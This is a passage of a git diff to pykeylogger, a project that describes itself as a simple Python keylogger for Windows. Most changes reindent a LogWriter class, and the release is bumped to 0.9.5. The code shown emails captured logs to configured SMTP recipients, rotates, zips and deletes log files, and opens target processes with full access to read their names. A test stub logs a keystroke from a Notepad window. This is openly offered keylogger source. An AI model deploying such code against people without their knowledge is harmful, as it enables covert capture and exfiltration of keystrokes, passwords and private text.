+        sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
+        self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
+
+        # need to put the quit in a try, since TLS connections may error out due to bad implementation with
+        # socket.sslerror: (8, 'EOF occurred in violation of protocol')
+        # Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard:
+        # they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
+        # reference URLs:
+        # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
+        # http://mail.python.org/pipermail/python-list/2005-August/338280.html
+        try:
+            mysmtp.quit()
+        except:
+            pass
+
+        # write the latest emailed zip to log for the future
+        if len(zipFileList) > 0:
+            zipFileList.sort()
+            emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
+            emaillog.write(zipFileList.pop())
+            emaillog.close()
+
+    def OpenLogFile(self):
+        '''Open the appropriate log file, depending on event properties and settings in .ini file.
+        Now, we only need to open the one file delimited logfile
+        '''
+
+        # do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true.
+        if self.log == None:
+            # Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
+            self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+            self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File']))
+            try:
+                self.log = open(self.writeTarget, 'a')
+                self.PrintDebug("writing to: " + self.writeTarget)
+                return True
+            except OSError, detail:
+                if(detail.errno==17):  #if file already exists, swallow the error
+                    pass
+                else:
+                    self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+                    return False
+            except:
+                self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+                return False
+        else:
+            return True
+
+    def PrintStuff(self, stuff):
+        '''Write stuff to log, or to debug outputs.
+        '''
+        if not self.cmdoptions.debug and self.log != None:
+            self.log.write(stuff)
+        if self.cmdoptions.debug:
+            self.PrintDebug(stuff)

-	def PrintDebug(self, stuff, exc_info=False):
-		'''Write stuff to console and/or systemlog.
-		'''
-		#~ if self.cmdoptions.debug:
-			#~ sys.stdout.write(stuff)
-		#~ if self.settings['General']['System Log'] != 'None':
-			#~ self.systemlog.write(stuff)
-		self.logger.debug(stuff, exc_info=exc_info)
+    def PrintDebug(self, stuff, exc_info=False):
+        '''Write stuff to console and/or systemlog.
+        '''
+        #~ if self.cmdoptions.debug:
+            #~ sys.stdout.write(stuff)
+        #~ if self.settings['General']['System Log'] != 'None':
+            #~ self.systemlog.write(stuff)
+        self.logger.debug(stuff, exc_info=exc_info)

-	def WriteTimestamp(self):
-		'''deprecated'''
-		self.PrintStuff("\n[" + time.asctime() + "]\n")
+    def WriteTimestamp(self):
+        '''deprecated'''
+        self.PrintStuff("\n[" + time.asctime() + "]\n")

-	def RotateLogs(self):
-		'''This will close the log file, set self.log to None, move the file to a dated filename.
-		Then, openlogfile will take care of opening a fresh logfile by itself.'''
-
-		if self.log != None:
-			rotateTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']))
-			self.PrintDebug("\nRenaming\n" + self.writeTarget + "\nto\n" + rotateTarget + "\n")
-			self.log.close()
-			self.log = None
-			try:
-				os.rename(self.writeTarget, rotateTarget)
-			except:
-				self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-
+    def RotateLogs(self):
+        '''This will close the log file, set self.log to None, move the file to a dated filename.
+        Then, openlogfile will take care of opening a fresh logfile by itself.'''
+
+        if self.log != None:
+            rotateTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']))
+            self.PrintDebug("\nRenaming\n" + self.writeTarget + "\nto\n" + rotateTarget + "\n")
+            self.log.close()
+            self.log = None
+            try:
+                os.rename(self.writeTarget, rotateTarget)
+            except:
+                self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+

-	def DeleteOldLogs(self, lastmodcutoff=None):
-		'''Walk the log directory tree and remove old logfiles.
+    def DeleteOldLogs(self, lastmodcutoff=None):
+        '''Walk the log directory tree and remove old logfiles.

-		if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file.
-
-		if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()],
-		instead delete files that were not modified after lastmodcutoff.
-		'''
-
-
-		self.PrintDebug("Analyzing and removing old logfiles.\n")
-		for root, dirs, files in os.walk(self.settings['General']['Log Directory']):
-			for fname in files:
-				if lastmodcutoff == None:
-					testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60
-				elif type(lastmodcutoff) == float:
-					testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
-
-				if fname == "emaillog.txt" or fname == "ziplog.txt":
-					testvalue = False # we don't want to delete these
-
-				if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
-					testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage
-
-				if testvalue:
-					try:
-						os.remove(os.path.join(root,fname))
-					except:
-						self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-					try:
-						os.rmdir(root)
-					except:
-						self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+        if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file.
+
+        if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()],
+        instead delete files that were not modified after lastmodcutoff.
+        '''
+
+
+        self.PrintDebug("Analyzing and removing old logfiles.\n")
+        for root, dirs, files in os.walk(self.settings['General']['Log Directory']):
+            for fname in files:
+                if lastmodcutoff == None:
+                    testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60
+                elif type(lastmodcutoff) == float:
+                    testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
+
+                if fname == "emaillog.txt" or fname == "ziplog.txt":
+                    testvalue = False # we don't want to delete these
+
+                if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
+                    testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage
+
+                if testvalue:
+                    try:
+                        os.remove(os.path.join(root,fname))
+                    except:
+                        self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+                    try:
+                        os.rmdir(root)
+                    except:
+                        self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")

-	def GetProcessNameFromHwnd(self, hwnd):
-		'''Acquire the process name from the window handle for use in the log filename.
-		'''
-		threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
-
-		# PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
-
-		mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
-		procname = win32process.GetModuleFileNameEx(mypyproc, 0)
-		return procname
+    def GetProcessNameFromHwnd(self, hwnd):
+        '''Acquire the process name from the window handle for use in the log filename.
+        '''
+        threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
+        # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+        mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+        procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+        return procname

-	def cancel(self):
-		'''To exit cleanly, flush all write buffers, and stop all running timers.
-		'''
-		#self.stopflag = True
-		#time.sleep(2.5)
-		#self.queuetimer.cancel()
-		self.finished.set()
-
-		self.WriteToLogFile()
-		self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
-		logging.shutdown()
-		self.flushtimer.cancel()
-
-		self.logrotatetimer.cancel()
-
-		if self.settings['E-mail']['SMTP Send Email'] == True:
-			self.emailtimer.cancel()
-		if self.settings['Log Maintenance']['Delete Old Logs'] == True:
-			self.oldlogtimer.cancel()
-		#~ if self.settings['Timestamp']['Timestamp Enable'] == True:
-			#~ self.timestamptimer.cancel()
-		if self.settings['Zip']['Zip Enable'] == True:
-			self.ziptimer.cancel()
-
+    def cancel(self):
+        '''To exit cleanly, flush all write buffers, and stop all running timers.
+        '''
+        #self.stopflag = True
+        #time.sleep(2.5)
+        #self.queuetimer.cancel()
+        self.finished.set()
+
+        self.WriteToLogFile()
+        self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
+        logging.shutdown()
+        self.flushtimer.cancel()
+
+        self.logrotatetimer.cancel()
+
+        if self.settings['E-mail']['SMTP Send Email'] == True:
+            self.emailtimer.cancel()
+        if self.settings['Log Maintenance']['Delete Old Logs'] == True:
+            self.oldlogtimer.cancel()
+        #~ if self.settings['Timestamp']['Timestamp Enable'] == True:
+            #~ self.timestamptimer.cancel()
+        if self.settings['Zip']['Zip Enable'] == True:
+            self.ziptimer.cancel()
+

 if __name__ == '__main__':
-	#some testing code
-	#put a real existing hwnd into event.Window to run test
-	#this testing code is now really outdated and useless.
-	lw = LogWriter()
-	class Blank:
-		pass
-	event = Blank()
-	event.Window = 264854
-	event.WindowName = "Untitled - Notepad"
-	event.Ascii = 65
-	event.Key = 'A'
-	options = Blank()
-	options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
-	options.flushKey = 'F11'
-	lw.WriteToLogFile(event, options)
-
+    #some testing code
+    #put a real existing hwnd into event.Window to run test
+    #this testing code is now really outdated and useless.
+    lw = LogWriter()
+    class Blank:
+        pass
+    event = Blank()
+    event.Window = 264854
+    event.WindowName = "Untitled - Notepad"
+    event.Ascii = 65
+    event.Key = 'A'
+    options = Blank()
+    options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
+    options.flushKey = 'F11'
+    lw.WriteToLogFile(event, options)
+
diff --git a/version.py b/version.py
index dafb911..9c221ce 100644
--- a/version.py
+++ b/version.py
@@ -1,6 +1,6 @@

 name = "pykeylogger"
-version = "0.9.4"
+version = "0.9.5"
 description = "Simple Python Keylogger for Windows"
 url = "http://pykeylogger.sourceforge.net"
 license = "GPL"
ViewGit